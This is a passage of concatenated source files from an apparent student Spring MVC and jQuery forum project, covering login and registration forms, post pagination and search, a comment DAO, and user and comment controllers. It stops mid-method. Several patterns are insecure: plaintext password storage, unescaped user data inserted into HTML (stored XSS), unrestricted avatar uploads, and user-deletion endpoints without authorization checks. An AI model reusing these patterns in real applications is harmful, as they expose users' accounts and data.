message: 'This value is not valid', feedbackIcons: { valid: 'glyphicon glyphicon-ok', invalid: 'glyphicon glyphicon-remove', validating: 'glyphicon glyphicon-refresh' }, submitButtons: '#loginbtn', fields: { accound: { message: '用户名验证失败', validators: { notEmpty: { message: '用户名不能为空' }, stringLength: { min: 4, max: 20, message: '用户名长度必须在4到20位之间' }, regexp: { regexp: /^[a-zA-Z0-9_]+$/, message: '用户名只能包含大写、小写、数字和下划线' } } }, pwd: { validators: { notEmpty: { message: '密码不能为空' }, stringLength: { min: 6, max: 20, message: '密码长度必须在6到20位之间' }, regexp: { regexp: /^[a-zA-Z0-9]+$/, message: '用户名只能包含大写、小写、数字' } } } } });/* login结束 */ $('#register').bootstrapValidator({ message: 'This value is not valid', feedbackIcons: { valid: 'glyphicon glyphicon-ok', invalid: 'glyphicon glyphicon-remove', validating: 'glyphicon glyphicon-refresh' }, submitButtons: '#registerbtn', fields: { accound: { message: '用户名验证失败', validators: { notEmpty: { message: '用户名不能为空' }, stringLength: { min: 4, max: 20, message: '用户名长度必须在4到20位之间' }, regexp: { regexp: /^[a-zA-Z0-9_]+$/, message: '用户名只能包含大写、小写、数字和下划线' } } }, pwd: { validators: { notEmpty: { message: '密码不能为空' }, stringLength: { min: 6, max: 20, message: '密码长度必须在6到20位之间' }, regexp: { regexp: /^[a-zA-Z0-9]+$/, message: '密码只能包含大写、小写、数字' } } }, pwd2: { validators: { notEmpty: { message: '密码不能为空' }, identical:{ field:'pwd', message:'两次密码输入不一致' }, regexp: { regexp: /^[a-zA-Z0-9]+$/, message: '密码只能包含大写、小写、数字' } } }, petname: { validators: { notEmpty: { message: '昵称不能为空' }, stringLength: { min: 4, max: 20, message: '昵称必须在4到20位之间' }, } }, phone: { validators: { notEmpty: { message: '手机号码不能为空' }, regexp: { regexp: /^1[34578]\d{9}$/, message: '手机号码有误,请重填' } } } } });/*注册弹框结束*/ //给搜索框添加跳转搜索结果页事件 $("#searchBtn").click(function(){ $("#searchType").val($("#selectType option:selected").val()); $("#searchForm").attr("action","toSeachPostResultPage"); $("#searchForm").submit(); }); //给搜索框添加跳转搜索结果页事件结束 }); function onlogin(){ $('#login').data('bootstrapValidator').validate(); if(!$('#login').data('bootstrapValidator').isValid()){ return ; } $.ajax({ url : 'loginUser', type : 'post', data : $("#login").serialize(), dataType: "text", success : function(data){ if(data=='success'){ location.href = 'index.jsp'; }else if(data=='exist'){ alert("用户不存在"); }else{ alert("密码错误"); } } }); /*ajax*/ }/*onlogin-ending*/ function onregister(){ $('#register').data('bootstrapValidator').validate(); if(!$('#register').data('bootstrapValidator').isValid()){ return ; } $.ajax({ url : 'registerUser', type : 'post', data : $("#register").serialize(), dataType: "text", success : function(data){ if(data=='success'){ location.href = 'index.jsp'; }else{ alert("用户已存在"); } } }); /*onregister-ajax*/ }/*onregister-ending*/ function logout(){ $.ajax({ url : 'logoutUser', type : 'post', dataType: "text", success : function(data){ if(data=='success'){ location.href = 'index.jsp'; }else{ alert("注销失败"); } } }); /*onregister-ajax*/ } function loadPostByPage(pageNum) { $.ajax({ type: "GET", url: "loadPostByPage?&requestPageNum=" + pageNum, success: function(data) { var tbody = ""; var ptypeHead = "<td><span class='glyphicon glyphicon-eye-open'style='color: rgb(111, 97, 156);'> <a href='javascript:void(0)'>"; var ptypeTail = "</a></span></td>"; var pnameHead = "<td><a href='goScondCommByPostId?postId="; var pnameTail = "<a></td>"; var userHead = "<td><a href='javascript:void(0);'>"; var userTail = "</a></td>"; var commhead = "<td>"; var commTail = "</td>"; var lastDateHead = "<td>"; var lastDateTail = "</td>"; for (var i = 0; i < data[1].length; i++) { if(data[1][i].plevel==0){//公告 var ptypeHead = "<td><span class='glyphicon glyphicon-volume-up'style='color: rgb(111, 97, 156);'> <a href='javascript:void(0)'>"; tbody += ("<tr id='" + data[1][i].postid + "'>" + ptypeHead + data[1][i].ptype +ptypeTail + pnameHead +data[1][i].postid+"'>"+ data[1][i].pname+pnameTail + userHead + data[1][i].user.petname+userTail + commhead + (data[1][i].commnum+"/"+data[1][i].clicknum ) + commTail + lastDateHead + new Date(data[1][i].lastdate).Format('yyyy-MM-dd hh:mm:ss') + lastDateTail + "</tr>" ); } if(data[1][i].plevel==1){//加精 var ptypeHead = "<td><span class='glyphicon glyphicon-hand-right'style='color: rgb(111, 97, 156);'> <a href='javascript:void(0)'>"; tbody += ("<tr id='" + data[1][i].postid + "'>" + ptypeHead + data[1][i].ptype +ptypeTail + pnameHead +data[1][i].postid+"'>"+ data[1][i].pname+"【精华】"+pnameTail + userHead + data[1][i].user.petname+userTail + commhead + (data[1][i].commnum+"/"+data[1][i].clicknum )+ commTail + lastDateHead + new Date(data[1][i].lastdate).Format('yyyy-MM-dd hh:mm:ss') + lastDateTail + "</tr>" ); } if(data[1][i].plevel==2){//普通 var ptypeHead = "<td><span class='glyphicon glyphicon-heart-empty'style='color: rgb(111, 97, 156);'> <a href='javascript:void(0)'>"; tbody += ("<tr id='" + data[1][i].postid + "'>" + ptypeHead + data[1][i].ptype +ptypeTail + pnameHead +data[1][i].postid+"'>"+data[1][i].pname+pnameTail + userHead + data[1][i].user.petname+userTail + commhead + (data[1][i].commnum+"/"+data[1][i].clicknum ) + commTail + lastDateHead + new Date(data[1][i].lastdate).Format('yyyy-MM-dd hh:mm:ss')+ lastDateTail + "</tr>" ); } } $("#postList").html(tbody); $("#pageNums").html(""); pageCount = data[0]; //总页数 $("#pageCount").html("总页数:"+pageCount); $("#pageCount").val(pageCount); $("#currentPage").html("当前第"+pageNum+"页"); // $("#pageNums") var $navHead = $("<li><a href='javascript:void(0);'>&laquo;</a></li>"); $navHead.click(function() { var lis = $("#pageNums a").not(":first") .not(":last"); var num = parseInt($(lis[0]).text()); if (num >= 2) { $(lis[0]).text(num - 1); $(lis[1]).text(num); $(lis[2]).text(num + 1); $(lis[3]).text(num + 2); $(lis[4]).text(num + 3); } }) $("#pageNums").append($navHead); if (data[0] > 4 && pageNum >= data[0] - 4 && pageNum <= data[0]) { var n = data[0] - 4; for (var num = 0; num < 5; num++) { var $li = $("<li><a href='javascript:void(0);'>" + n + "</a></li>"); //alert($li.children()[0].text) $("#pageNums").append($li); n = n + 1; } } else { if (data[0] <= 4) { pageNum = 1; } for (var num = 0; num < 5; num++) { if (pageNum + num <= pageCount) { var $li = $("<li><a href='javascript:void(0);'>" + (pageNum + num) + "</a></li>"); //alert($li.children()[0].text) $("#pageNums").append($li); } } } var $navTail = $("<li><a href='javascript:void(0);'>&raquo;</a></li>"); $navTail.click(function() { var lis = $("#pageNums a").not(":first") .not(":last"); var num = parseInt($(lis[1]).text()); if (num < data[0] - 3) { $(lis[0]).text(num); $(lis[1]).text(num + 1); $(lis[2]).text(num + 2); $(lis[3]).text(num + 3); $(lis[4]).text(num + 4); } }) $("#pageNums").append($navTail); $("#pageNums a").not(":first").not(":last") .click(function() { var num = parseInt($(this).text()); loadPostByPage(num); }); }, error : function(data) { $("#postList").html("請求失敗,請刷新頁面"); } }); //ajax 结束 return false; } //发布帖子 function publishPost() { var ptype = $("#ptype option:selected").val(); var pname = $("#pname").val(); var content = $("#content").val(); content=content.replace(/\n|\r\n/g,"<br/>"); if(ptype.length==0){ alert("请选择类型"); return false; } if(ptype=="请选择类型"){ alert("请选择类型"); return false; } if(pname.length==0) { alert("请输入标题"); return false; } if(pname.length>=50){ alert("标题过长,请限制在50字内"); return false; } if(content.length==0){ alert("请输入内容"); return false; } if(content.length>=800){ alert("内容过长,请限制在800字内"); return false; } var data = { ptype : ptype, pname : pname, content : content }; $.ajax({ type : "POST", url : "publishPost", data : data, // contentType:"json", success : function(data) { //新增代码段 var result = data; if (result == "true"){ alert("发布帖子成功"); $("#ptype option:selected").val("") $("#pname").val(""); $("#content").val(""); location.href = 'index.jsp'; } if (result == "false") alert("发布帖子失败,请尝试再发布"); if (result == "off_line") alert("您未登录,请先登录"); if(result=="forbid") alert("您被禁止发帖,详情请咨询管理员!"); //loadPostByPage(1); }, error : function(data) { } }); return false; } //跳转页面 function skipPage(){ var pageNum=$("#pageNum").val(); var checkPageNum =/^-?\d+$/; var pageCount= $("#pageCount").val(); if(!checkPageNum.test(pageNum)){ } else{ if(parseInt(pageNum)>parseInt(pageCount)) ; else{ loadPostByPage(parseInt(pageNum)); } } } //更新js格式化json时间格式 Date.prototype.Format = function (fmt) { //author: meizz var o = { "M+": this.getMonth() + 1, //月份 "d+": this.getDate(), //日 "h+": this.getHours(), //小时 "m+": this.getMinutes(), //分 "s+": this.getSeconds(), //秒 }; if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length)); for (var k in o) if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length))); return fmt; }<file_sep>/onLineNovelCenter/src/com/lnsf/dao/CommDao.java package com.lnsf.dao; /** * 修改人:卢仲贤 * 日期:2017/7/28 */ import java.util.List; import org.springframework.data.domain.Page; import org.springframework.data.jpa.repository.JpaRepository; import org.springframework.data.jpa.repository.JpaSpecificationExecutor; import org.springframework.data.jpa.repository.Modifying; import org.springframework.data.jpa.repository.Query; import org.springframework.transaction.annotation.Transactional; import com.lnsf.entity.Comm; import com.lnsf.entity.Post; public interface CommDao extends JpaRepository<Comm, Integer>,JpaSpecificationExecutor<Comm>{ //根据userid查询并分页 //2017-8-1改 @Query(value="select * from(select com.* ,rownum rn from (select * from comm where userid = ?1) com)where rn between ?2 and ?3" , nativeQuery=true) public List<Comm> findByuseridpage(Integer userid,int minnum,int maxnum); @Query(value="select * from(select com.* ,rownum rn from (select * from comm where postid = ?1 and parent is null order by floor) com)where rn between ?2 and ?3" , nativeQuery=true) public List<Comm> findByPostidpage(Integer postid,int minnum,int maxnum); //按照postid查询comm数量 @Query(value="select count(commid) from comm where postid = ?1 and parent is null" , nativeQuery=true) public Integer findcountcommbypostid(Integer postid); //按照userid查询所有comm @Query(value="select * from comm where userid = ?1" , nativeQuery=true) public List<Comm> findByuserid(Integer userid); //按照postid查询所有parent 为null 的comm @Query(value="select * from comm where postid = ?1 and parent is null" , nativeQuery=true) public List<Comm> findBypostid(Integer postid); //按照commid和parent的id 更改parent @Modifying@Transactional @Query(value="update comm set parent = ?1 where commid = ?2", nativeQuery=true) public Integer updateparent(Integer parent,Integer commid); } <file_sep>/onLineNovelCenter/WebContent/js/searchResult.js $(document).ready(function() { //$("#searchType option:selected").val($("#searchType").val()); $("#nav_requestPageNum").val($("#requestPageNum").val()); //alert($("#searchType").val()); //alert($("#searchType_search").find("option[text='动漫音乐'").text()); //$("#searchType_search").find("option[text='"+$("#searchType").val()+"']").attr("selected",true); //$("#searchType_search option:selected").val($("#searchType").val()); searchPostFirstPageByPtypeAndPname(); $('#login').bootstrapValidator({ message: 'This value is not valid', feedbackIcons: { valid: 'glyphicon glyphicon-ok', invalid: 'glyphicon glyphicon-remove', validating: 'glyphicon glyphicon-refresh' }, submitButtons: '#loginbtn', fields: { accound: { message: '用户名验证失败', validators: { notEmpty: { message: '用户名不能为空' }, stringLength: { min: 4, max: 20, message: '用户名长度必须在4到20位之间' }, regexp: { regexp: /^[a-zA-Z0-9_]+$/, message: '用户名只能包含大写、小写、数字和下划线' } } }, pwd: { validators: { notEmpty: { message: '密码不能为空' }, stringLength: { min: 6, max: 20, message: '密码长度必须在6到20位之间' }, regexp: { regexp: /^[a-zA-Z0-9]+$/, message: '用户名只能包含大写、小写、数字' } } } } });/* login结束 */ $('#register').bootstrapValidator({ message: 'This value is not valid', feedbackIcons: { valid: 'glyphicon glyphicon-ok', invalid: 'glyphicon glyphicon-remove', validating: 'glyphicon glyphicon-refresh' }, submitButtons: '#registerbtn', fields: { accound: { message: '用户名验证失败', validators: { notEmpty: { message: '用户名不能为空' }, stringLength: { min: 4, max: 20, message: '用户名长度必须在4到20位之间' }, regexp: { regexp: /^[a-zA-Z0-9_]+$/, message: '用户名只能包含大写、小写、数字和下划线' } } }, pwd: { validators: { notEmpty: { message: '密码不能为空' }, stringLength: { min: 6, max: 20, message: '密码长度必须在6到20位之间' }, regexp: { regexp: /^[a-zA-Z0-9]+$/, message: '用户名只能包含大写、小写、数字' } } }, pwd2: { validators: { notEmpty: { message: '密码不能为空' }, identical:{ field:'pwd', message:'两次密码输入不一致' }, regexp: { regexp: /^[a-zA-Z0-9]+$/, message: '密码只能包含大写、小写、数字' } } }, petname: { validators: { notEmpty: { message: '昵称不能为空' }, stringLength: { min: 4, max: 20, message: '昵称必须在4到20位之间' }, } }, phone: { validators: { notEmpty: { message: '手机号码不能为空' }, regexp: { regexp: /^1[34578]\d{9}$/, message: '手机号码有误,请重填' } } } } });/*注册弹框结束*/ }); function onlogin(){ $('#login').data('bootstrapValidator').validate(); if(!$('#login').data('bootstrapValidator').isValid()){ return ; } $.ajax({ url : 'loginUser', type : 'post', data : $("#login").serialize(), dataType: "text", success : function(data){ if(data=='success'){ location.href = 'index.jsp'; }else if(data=='exist'){ alert("用户不存在"); }else{ alert("密码错误"); } } }); /*ajax*/ }/*onlogin-ending*/ function onregister(){ $('#register').data('bootstrapValidator').validate(); if(!$('#register').data('bootstrapValidator').isValid()){ return ; } $.ajax({ url : 'registerUser', type : 'post', data : $("#register").serialize(), dataType: "text", success : function(data){ if(data=='success'){ location.href = 'index.jsp'; }else{ alert("用户已存在"); } } }); /*onregister-ajax*/ }/*onregister-ending*/ function logout(){ $.ajax({ url : 'logoutUser', type : 'post', dataType: "text", success : function(data){ if(data=='success'){ location.href = 'index.jsp'; }else{ alert("注销失败"); } } }); /*onregister-ajax*/ } //获取第一页搜索结果 function searchPostFirstPageByPtypeAndPname(){ $("#nav_searchType").val($("#searchType").val()); $("#nav_keyword").val($("#keyword").val()); $("#nav_requestPageNum").val($("#requestPageNum").val()); $.ajax({ url : "seachPostByPtypeAndPname", type : "GET", data : $("#searchForm").serialize(), success : function(data){ reproducePageNavAndResultView(data[0],data[1]); }, error:function(data){} }); /*ajax*/ return false; } //重新搜索获取第一页 function clickSearchPostFirstPageByPtypeAndPname(){ $("#nav_searchType").val($("#searchType").val()); $("#nav_keyword").val($("#keyword").val()); $("#nav_requestPageNum").val($("#requestPageNum").val()); $("#searchType").val($("#searchType_search option:selected").val()) $.ajax({ url : "seachPostByPtypeAndPname", type : "GET", data : $("#searchForm").serialize(), success : function(data){ reproducePageNavAndResultView(data[0],data[1]); }, error:function(data){} }); /*ajax*/ return false; } //重现分页导航及结果视图 function reproducePageNavAndResultView(pageCount,pList){ $("#pageCount").text(pageCount);//保存总页数到页面使用 $("#nav").html("");//清空分页导航条 //重现导航条 var preBtn=$(""); //上一页处理 $("#nav").append($("<li><a href='javascript:void(0)' >上一页</a></li>"));//上一页 $("#nav >li:first-child").click(function(){ var oldPageNum=parseInt($("#nav_requestPageNum").val()); var requestPageNum=parseInt($("#nav_requestPageNum").val())-1; if(requestPageNum>=1){ $("#nav_searchType").val($("#searchType").val()); $("#nav_keyword").val($("#keyword").val()); $("#nav_requestPageNum").val(requestPageNum); $.ajax({ url : "seachPostByPtypeAndPname", type : "GET", data : $("#nav_form").serialize(), success : function(data){ reproducePageNavAndResultView(data[0],data[1]); }, error:function(data){ $("#nav_requestPageNum").val(oldPageNum); } }); /*ajax*/ ; } return false });//上一页处理结束 if(pageCount<=5){ //总页数少于5 for(var i=1;i<=pageCount;i++){ var pageA=$("<a href='javascript:void(0)'onclick='skipSearchResultPage(this)'></a>"); pageA.text(i); var pageLi=$("<li></li>"); pageLi.append(pageA); $("#nav").append(pageLi); } } else{//总页数大等于于5 var currentPageNum=$("#nav_requestPageNum").val(); currentPageNum=parseInt(currentPageNum); if(currentPageNum+4>pageCount){ var distance=pageCount-currentPageNum; if(distance==3) currentPageNum-=1;//3 -1 if(distance==2) currentPageNum-=2;//2 -2 if(distance==1) currentPageNum-=3;// 1 -3 if(distance==0) currentPageNum-=4;// 1 -3 for(var i=0;currentPageNum+i<=pageCount;i++){ var pageA=$("<a href='javascript:void(0)'onclick='skipSearchResultPage(this)'></a>"); pageA.text(currentPageNum+i); var pageLi=$("<li></li>"); pageLi.append(pageA); $("#nav").append(pageLi); } } else{ for(var i=0;i<5;i++){ var pageA=$("<a href='javascript:void(0)'onclick='skipSearchResultPage(this)'></a>"); if(currentPageNum+i<=pageCount){ pageA.text(currentPageNum+i); var pageLi=$("<li></li>"); pageLi.append(pageA); $("#nav").append(pageLi); } } } } //下一页 处理 $("#nav").append($("<li><a href='javascript:void(0)'>下一页</a></li>"));//下一页 $("#nav >li:last-child").click(function(){ var oldPageNum=parseInt($("#nav_requestPageNum").val()); var requestPageNum=parseInt($("#nav_requestPageNum").val())+1; if(requestPageNum<=pageCount){ $("#nav_searchType").val($("#searchType").val()); $("#nav_keyword").val($("#keyword").val()); $("#nav_requestPageNum").val(requestPageNum); $.ajax({ url : "seachPostByPtypeAndPname", type : "GET", data : $("#nav_form").serialize(), success : function(data){ reproducePageNavAndResultView(data[0],data[1]); }, error:function(data){ $("#nav_requestPageNum").val(oldPageNum); } }); /*ajax*/ ; } return false });//下一页 处理结束 $("#nav_requestPageNum_skip").val($("#nav_requestPageNum").val()); //重现导航条结束 //重现结果视图 $("#resultView").html("")//清空包装结果容器 var result = ""; var ptypeHead = "<td><span class='glyphicon glyphicon-eye-open'style='color: rgb(111, 97, 156);'> <a href='javascript:void(0)'>"; var ptypeTail = "</a></span></td>"; var pnameHead = "<td><a href='goScondCommByPostId?postId="; var pnameTail = "<a></td>"; var userHead = "<td><a href='javascript:void(0);'>"; var userTail = "</a></td>"; var commhead = "<td>"; var commTail = "</td>"; var lastDateHead = "<td>"; var lastDateTail = "</td>"; for (var i = 0; i < pList.length; i++) { if(pList[i].plevel==0){//公告 var ptypeHead = "<td><span class='glyphicon glyphicon-volume-up'style='color: rgb(111, 97, 156);'> <a href='javascript:void(0)'>"; result += ("<tr id='" + pList[i].postid + "'>" + ptypeHead + pList[i].ptype +ptypeTail + pnameHead +pList[i].postid+"'>"+ pList[i].pname+pnameTail + userHead + pList[i].user.petname+userTail + commhead + (pList[i].commnum+"/"+pList[i].clicknum ) + commTail + lastDateHead + new Date(pList[i].lastdate).Format('yyyy-MM-dd hh:mm:ss') + lastDateTail + "</tr>" ); } if(pList[i].plevel==1){//加精 var ptypeHead = "<td><span class='glyphicon glyphicon-hand-right'style='color: rgb(111, 97, 156);'> <a href='javascript:void(0)'>"; result += ("<tr id='" + pList[i].postid + "'>" + ptypeHead + pList[i].ptype +ptypeTail + pnameHead +pList[i].postid+"'>"+ pList[i].pname+pnameTail + userHead + pList[i].user.petname+userTail + commhead + (pList[i].commnum+"/"+pList[i].clicknum ) + commTail + lastDateHead + new Date(pList[i].lastdate).Format('yyyy-MM-dd hh:mm:ss') + lastDateTail + "</tr>" ); } if(pList[i].plevel==2){//普通 var ptypeHead = "<td><span class='glyphicon glyphicon-heart-empty'style='color: rgb(111, 97, 156);'> <a href='javascript:void(0)'>"; result += ("<tr id='" + pList[i].postid + "'>" + ptypeHead + pList[i].ptype +ptypeTail + pnameHead +pList[i].postid+"'>"+ pList[i].pname+pnameTail + userHead + pList[i].user.petname+userTail + commhead + (pList[i].commnum+"/"+pList[i].clicknum ) + commTail + lastDateHead + new Date(pList[i].lastdate).Format('yyyy-MM-dd hh:mm:ss') + lastDateTail + "</tr>" ); } } $("#resultView").html(result); //重现结果视图结束 } //跳转页面 function skipSearchResultPage(obj){ $("#nav_searchType").val($("#searchType").val()); $("#nav_keyword").val($("#keyword").val()); $("#nav_requestPageNum").val(obj.text); $.ajax({ url : "seachPostByPtypeAndPname", type : "GET", data : $("#nav_form").serialize(), success : function(data){ reproducePageNavAndResultView(data[0],data[1]); }, error:function(data){} }); /*ajax*/ return false; } //任意跳转页面 function skipPageAtWill(){ var requestPageNum=parseInt($("#nav_requestPageNum_skip").val());//还没检查数据是否都为数字 var pageCount=parseInt($("#pageCount").text()); var checkPageNum = /^-?\d+$/; if(checkPageNum.test(requestPageNum)){ if(requestPageNum<=pageCount){ $("#nav_requestPageNum").val($("#nav_requestPageNum_skip").val()); $.ajax({ url : "seachPostByPtypeAndPname", type : "GET", data : $("#nav_form").serialize(), success : function(data){ reproducePageNavAndResultView(data[0],data[1]); }, error:function(data){} }); /*ajax*/ } else $("#nav_requestPageNum_skip").val($("#nav_requestPageNum").val()); } else alert("请输入数字"); return false; } //更新js格式化json时间格式 Date.prototype.Format = function (fmt) { //author: meizz var o = { "M+": this.getMonth() + 1, //月份 "d+": this.getDate(), //日 "h+": this.getHours(), //小时 "m+": this.getMinutes(), //分 "s+": this.getSeconds(), //秒 }; if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length)); for (var k in o) if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length))); return fmt; }<file_sep>/onLineNovelCenter/src/com/lnsf/controller/UserController.java package com.lnsf.controller; import java.io.File; import java.util.Date; import java.util.HashMap; import java.util.List; import java.util.Map; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.domain.Page; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.ModelAttribute; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.multipart.MultipartFile; import com.lnsf.entity.User; import com.lnsf.service.UserService; import com.lnsf.util.JsonDateValueProcessor; import net.sf.json.JSONObject; import net.sf.json.JsonConfig; @Controller public class UserController { @Autowired private UserService userService; @ModelAttribute("getUser") public User getUser(@RequestParam(value="userid",required=false) Integer userid){ User user=null; if (userid!=null) { user=userService.loadUserByUserid(userid); } return user; } @RequestMapping("/registerUser") @ResponseBody public String registerUser(User user,int pwd2){ if(userService.loadUserByAccound(user.getAccound())!=null){ return "exist"; } userService.saveUser(user); return "success"; } @RequestMapping("/loginUser") @ResponseBody public String loginUser(String accound,String pwd,HttpSession session){ User user=null; user=userService.loadUserByAccound(accound); if (user!=null&&user.getPwd().equals(pwd)) { session.setAttribute("user", user); return "success"; }else if (user!=null) { return "pwdError"; }else { return "exist"; } } @RequestMapping("/logoutUser") @ResponseBody public String logoutUser(HttpSession session){ session.setAttribute("user", null); return "success"; } @RequestMapping("/myuser") public String myuser(){ return "user"; } @RequestMapping("/modifyUser") @ResponseBody public String modifyUser(@ModelAttribute("getUser") User user,HttpSession session){ User u=userService.loadUserByUserid(user.getUserid()); if(u.getPwd().equals(user.getPwd())){ userService.saveUser(user); session.setAttribute("user", user); return "success"; }else { session.setAttribute("user", null); userService.saveUser(user); return "pwdChange"; } } @RequestMapping("/removeUser") @ResponseBody public String removeUser(Integer userid){ userService.removeUser(userid); return "success"; } @RequestMapping(value="/showalluser",method=RequestMethod.GET) @ResponseBody public JSONObject showAllUser(int pow,int page,int rows,HttpServletRequest request){ JsonConfig jsonConfig = new JsonConfig(); jsonConfig.registerJsonValueProcessor(Date.class,new JsonDateValueProcessor()); Page<User> pages=userService.loadUsersPage(page,rows); List<User> users=pages.getContent(); Map<String,Object> result=new HashMap<String,Object>(); result.put("total", userService.loadAllUsers().size()); result.put("pageNumber",page); result.put("rows", users); JSONObject jsonObject=new JSONObject(); jsonObject.putAll(result, jsonConfig); System.out.println(jsonObject.toString()); return jsonObject; } @RequestMapping("adminModifyUser") @ResponseBody public String adminModifyUser(@ModelAttribute("getUser") User user,HttpSession session){ if(userService.saveUser(user)!=null){ return "success"; }else { return "error"; } } @RequestMapping(value="/deleteuser") @ResponseBody public String delete(int userid){ System.out.println("delete"); int row=userService.removeUser(userid); if(row>0) return "success"; else return "error"; } //登录后台界面 @RequestMapping(value="/backstage") public String backuser(){ return "backstage"; } //登录用户管理页 @RequestMapping(value="/backuser") public String backuser1(){ return "backuser"; } //进入公告管理页 @RequestMapping(value="/intoNotice") public String intoNotice(){ return "notice"; } //进入帖子管理页 @RequestMapping(value="/intoPostManager") public String intoPostManager(){ return "post"; } @RequestMapping("/inputIcon") @ResponseBody public Map<String, Object> updatePhoto(HttpSession session,@RequestParam("txt_file") MultipartFile myFile){ Map<String, Object> json = new HashMap<String, Object>(); try { System.out.println("changeUserImg!!"); String filename=myFile.getOriginalFilename(); //后缀名转小写 String sub=filename.substring(filename.indexOf(".")+1);//获取后缀 sub=sub.toLowerCase();//转小写 filename=filename.substring(0, filename.indexOf("."));//获取文件名称 filename=new Date().getTime()+filename+"."+sub;//拼接保存名称 String path="img/user/"+filename; //更新用户图片地址 User myuser=(User)session.getAttribute("user"); User user=userService.loadUserByUserid(myuser.getUserid()); user.setHead(path); userService.saveUser(user); session.setAttribute("user", user); /* * 图片保存在本地,然后Tomcat配置虚拟映射 * <Context docBase="真实地址url" path="虚拟地址lnsfBBS/path" reloadable="true"/> */ String url = "C:\\tomcat7.0.42\\mappingFolder"; System.out.println(url); //相对路径 //String path = "/"+name + "." + ext; File file = new File(url,filename); if(!file.exists()){ file.mkdirs(); } myFile.transferTo(file); json.put("success", path); } catch (Exception e) { e.printStackTrace(); } return json ; } @RequestMapping(value="/searchUser",method=RequestMethod.GET) @ResponseBody public Map<String, Object> searchUser(String petname,int page,int rows,HttpServletRequest request){ Map<String, Object> map=new HashMap<String, Object>(); Page<User> page2=userService.loadUserPageByPetnameLike(petname, page, rows); int pageCount=page2.getTotalPages(); List<User> users=page2.getContent(); map.put("total", pageCount); map.put("rows", users); return map; } } <file_sep>/onLineNovelCenter/src/com/lnsf/service/CommService.java package com.lnsf.service; import java.util.List; import org.springframework.data.domain.Page; import com.lnsf.entity.Comm; public interface CommService { //根据用户ID查找评论 ///该方法有修改 2017-8-1 public List<Comm> loadCommByUseridpage(int userid, int minnum, int maxnum); //根据贴子查找评论数 public int CommRow(Integer Postid); //添加评论 public Comm saveComm(Comm comm); //根据贴子ID查找评论,找parent为空的,并找出它的儿子 public List<Comm> loadCommByPostid(int Postid); //根据用户ID查找评论 public List<Comm> loadCommByUserid(int userid); //根据评论ID删除评论,成功返回1,失败返回0 public int removeCommByCommid(int commid); //根据用户id删除评论,成功返回1,失败返回0 public int removeCommByUserid(int userid); //根据贴id删除评论,成功返回1,失败返回0 public int removeCommByPostid(int Postid); public int updateparent(Integer parent, Integer commid); public Comm saveanswer(Comm comm); //帖子详情分页 根据贴子ID查找评论,找parent为空的,并找出它的儿子 public List<Comm> loadCommPageByPostid(Integer postid,Integer requestPageNum,Integer pageSize); //获取贴的评论总数 public Integer getcountcommbyPostid(int postid); } <file_sep>/onLineNovelCenter/src/com/lnsf/service/PostService.java package com.lnsf.service; import java.util.List; import org.springframework.data.domain.Page; import com.lnsf.entity.Comm; import com.lnsf.entity.Post; public interface PostService { //查找所有贴子,按最后评论发表时间排序 public List<Post> loadAllPosts(); //根据贴子等级查找贴子,按最后评论发表时间排序 public List<Post> loadPostByPlevel(int plevel);// //增加贴子、公告 public Post savePost(Post post,Comm comm); //根据贴名查找贴子,模糊查找 public List<Post> loadPostByPname(String pname);// //根据贴子Id删除贴子,同时删除贴子的评论,成功返回1,错误返回0 public int removePostByPostid(int postid); //根据用户Id查找贴子 public List<Post> loadPostByUserid(int userid); //修改贴子等级,成功返回1,失败返回0 public int modifyPostPlevel(int plevel,int postid); //查找所有贴子,按时间排序 public List<Post> loadPostsTime(); //根据用户id删除所有帖子 public Boolean removeAllByUserid(int userid); //分页查找所有帖子 public Page<Post> loadPostOrderByTimeAndPage(int requestPageNum,int pageSize); //根据postid查询帖子--7-29 public Post getPostByPostid(int postid); //根据帖子类型和帖子标题模糊搜索并排序分页 public Page<Post> loadPostPageByPtypeAndPname(String searchType,String keyword,Integer requestPageNum,Integer pageSize); //增加点击数 public void addClickNum(Integer postid); } <file_sep>/onLineNovelCenter/src/com/lnsf/controller/CommController.java package com.lnsf.controller; import java.util.ArrayList; import java.util.Collections; import java.util.List; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.ResponseBody; import com.lnsf.entity.Comm; import com.lnsf.entity.Post; import com.lnsf.service.CommService; import com.lnsf.service.PostService; import com.lnsf.service.UserService; import com.lnsf.util.CommComparatpor; //我在测试 @Controller public class CommController { @Autowired private CommService commService; @Autowired private PostService postService; @Autowired private UserService userService; static final private Integer pageSize=2; //首页中的 去进详情页 @RequestMapping("goScondCommByPostId") public String goScondCommByPostId(Integer postId,HttpServletRequest request){ request.setAttribute("postId",postId); //System.out.println("goScondCommByPostId"); postService.addClickNum(postId); int i=commService.getcountcommbyPostid(postId); if(i%pageSize==0){ i=i/pageSize; }else{ i=i/pageSize+1; } request.setAttribute("postCount",i); return "secondComm"; }; //详情页 @RequestMapping("getAllCommByPostId") @ResponseBody //JSON数据 和AJAX配套使用 public List<Comm> getAllCommByPostId(Integer postId,Integer requestPageNum,HttpServletRequest request){ //System.out.println("getAllCommByPostId2:"+commService.loadCommByPostid(postId)); List <Comm>page =commService.loadCommPageByPostid(postId, requestPageNum, pageSize); CommComparatpor co =new CommComparatpor(); Collections.sort(page, co); Post post=postService.getPostByPostid(postId); request.setAttribute("pname",post.getPname()); int i=commService.getcountcommbyPostid(postId); if(i%pageSize==0){ i=i/pageSize; }else{ i=i/pageSize+1; } System.out.println(page.size()); 